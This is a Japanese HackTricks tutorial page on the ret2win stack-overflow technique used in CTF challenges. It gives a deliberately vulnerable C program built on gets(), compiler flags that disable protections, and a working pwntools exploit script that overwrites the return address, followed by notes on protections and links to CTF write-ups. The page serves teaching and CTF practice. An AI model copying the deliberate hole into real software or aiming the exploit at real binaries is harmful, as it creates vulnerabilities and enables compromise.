hacktricks/binary-exploitation/stack-overflow/ret2win/README.md

128 lines
9.9 KiB
Markdown
Raw Normal View History

# Ret2win
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する
- **ハッキングトリックを共有するためにPRを送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) および [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに
</details>
## 基本情報
**Ret2win** チャレンジは、特に**バイナリエクスプロイテーション**を含むタスクで、**Capture The Flag (CTF)** コンテストで人気のあるカテゴリです。目標は、与えられたバイナリ内の脆弱性を悪用して、通常 `win`、`flag` などと名前が付けられた特定の未呼び出し関数を実行することです。通常、この関数を実行すると、フラグや成功メッセージが表示されます。チャレンジは、通常、**スタック上の戻りアドレスを上書き**して、実行フローを目的の関数に誘導することを含みます。以下は、例を交えたより詳細な説明です:
### Cの例
脆弱性を持つ単純なCプログラムと、呼び出したい `win` 関数があるとします:
```c
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
```
このプログラムをスタック保護を無効にして、**ASLR**を無効にしてコンパイルするには、次のコマンドを使用できます:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: プログラムを32ビットバイナリとしてコンパイルしますこれはオプションですが、CTFチャレンジで一般的です
* `-fno-stack-protector`: スタックオーバーフローに対する保護を無効にします。
* `-z execstack`: スタック上でのコードの実行を許可します。
* `-no-pie`: 位置独立実行可能ファイルを無効にして、`win` 関数のアドレスが変わらないようにします。
* `-o vulnerable`: 出力ファイルの名前を `vulnerable` にします。
### Pwntoolsを使用したPythonエクスプロイト
エクスプロイトには、エクスプロイトを記述するための強力なCTFフレームワークである **pwntools** を使用します。エクスプロイトスクリプトは、バッファをオーバーフローさせ、リターンアドレスを `win` 関数のアドレスで上書きするペイロードを作成します。
```python
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
```
`win` 関数のアドレスを見つけるためには、**gdb**、**objdump**、またはバイナリファイルを調査することができる他のツールを使用できます。たとえば、`objdump` を使用して次のようにします:
```sh
objdump -d vulnerable | grep win
```
このコマンドは、`win` 関数のアセンブリを表示し、その開始アドレスを含めます。
Pythonスクリプトは、`vulnerable_function` によって処理されるときに、注意深く作成されたメッセージを送信し、バッファをオーバーフローさせ、スタック上の戻りアドレスを `win` のアドレスで上書きします。`vulnerable_function` が返るとき、`main` に戻るか終了する代わりに、`win` にジャンプし、メッセージが表示されます。
## 保護
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) は**無効にする必要があります**。アドレスが実行ごとに信頼性のあるものになるか、関数が格納されるアドレスが常に同じでないため、win 関数がどこにロードされるかを特定するためには何らかのリークが必要です。オーバーフローを引き起こす関数が `read` などの場合、1または2バイトの**部分的な上書き**を行うことで、戻りアドレスを win 関数に変更できます。ASLRの動作により、最後の3つの16進数のニブルはランダム化されないため、正しい戻りアドレスを取得する確率は**1/16**1ニブルです。
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) も無効にするか、侵害されたEIP戻りアドレスは決して実行されません。
## 他の例と参考文献
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32ビット、ASLRなし
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* ASLR付きの64ビット、バイナリアドレスのリークあり
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64ビット、ASLRなし
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32ビット、ASLRなし、ダブルスモールオーバーフロー、最初はスタックをオーバーフローさせ、2番目のオーバーフローのサイズを拡大する
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32ビット、relro、canaryなし、nx、pieなし、`fflush` のアドレスを win 関数ret2winで上書きするためのフォーマット文字列
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32ビット、nx、その他何もなし、EIPの部分的な上書き1バイトで win 関数を呼び出す
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32ビット、nx、その他何もなし、EIPの部分的な上書き1バイトで win 関数を呼び出す
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* プログラムは数値の最後のバイトのみを検証して入力のサイズを確認しており、したがって、最後のバイトが許可される範囲内であれば任意のサイズを追加できます。その後、入力は ret2win で悪用されるバッファオーバーフローを作成します。
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64ビット、relro、canaryなし、nx、pie。 win 関数ret2winを呼び出すための部分的な上書き
## ARM64の例
{% content-ref url="ret2win-arm64.md" %}
[ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>で!</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
* 独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を収集する、[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>